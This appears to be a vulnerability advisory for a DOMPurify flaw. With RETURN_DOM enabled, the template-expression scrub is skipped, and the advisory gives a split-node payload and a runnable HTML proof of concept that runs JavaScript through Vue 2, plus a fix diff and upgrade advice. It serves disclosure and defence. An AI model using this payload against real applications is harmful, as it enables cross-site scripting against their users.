CVE-2026-41239: DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode
Summary
| Field | Value | |:------|:------| | Severity | Medium | | Affected | DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db) |
SAFEFORTEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURNDOM or RETURNDOMFRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):
js // pass #1: runs on every text node during tree walk if (SAFEFORTEMPLATES && currentNode.nodeType === NODETYPE.text) { content = currentNode.textContent; content = content.replace(MUSTACHEEXPR, ' '); // {{...}} -> ' ' content = content.replace(ERBEXPR, ' '); // <%...%> -> ' ' content = content.replace(TMPLITEXPR, ' '); // ${... -> ' ' currentNode.textContent = content; }
2. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.
The RETURNDOM path returns before pass #2 ever runs (purify.ts:1637-1661):
js // purify.ts (simplified)
if (RETURNDOM) { // ... build returnNode ... return returnNode; // <-- exits here, pass #2 never runs }
// pass #2: only reached by string-mode callers if (SAFEFORTEMPLATES) { serializedHTML = serializedHTML.replace(MUSTACHEEXPR, ' '); } return serializedHTML;
The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
1. Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it 2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text 3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes
Reproduce
Open the following html in any browser and alert(1) pops up.
html <!DOCTYPE html> <html>
<body> <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script> <script> var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>'; var dom = DOMPurify.sanitize(dirty, { SAFEFORTEMPLATES: true, RETURNDOM: true }); document.body.appendChild(dom.firstChild); new Vue({ el: '#app' }); </script> </body>
</html>
Impact
Any application that sanitizes attacker-controlled HTML with SAFEFORTEMPLATES: true and RETURNDOM: true (or RETURNDOMFRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURNDOM and RETURNDOMFRAGMENT.
diff if (RETURNDOM) { + if (SAFEFORTEMPLATES) { + body.normalize(); + let html = body.innerHTML; + arrayForEach([MUSTACHEEXPR, ERBEXPR, TMPLITEXPR], (expr: RegExp) => { + html = stringReplace(html, expr, ' '); + }); + body.innerHTML = html; + } + if (RETURNDOMFRAGMENT) { returnNode = createDocumentFragment.call(body.ownerDocument);
Other sources
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, SAFEFORTEMPLATES strips {
— IBM
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/dompurifyto a version that resolves this vulnerability.Fixed in 3.4.0 - Upgrade
Upgrade
DOMPurifyto a version that resolves this vulnerability.Fixed in 3.4.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41239?
The severity of CVE-2026-41239 is classified as Medium.
Which version of DOMPurify is affected by CVE-2026-41239?
CVE-2026-41239 affects DOMPurify versions from 1.0.10 up to but not including 3.4.0.
How do I fix CVE-2026-41239?
To fix CVE-2026-41239, upgrade DOMPurify to version 3.4.0 or later.
What software does CVE-2026-41239 impact?
CVE-2026-41239 impacts the DOMPurify package.
When was CVE-2026-41239 introduced?
CVE-2026-41239 was introduced in version 1.0.10 of DOMPurify.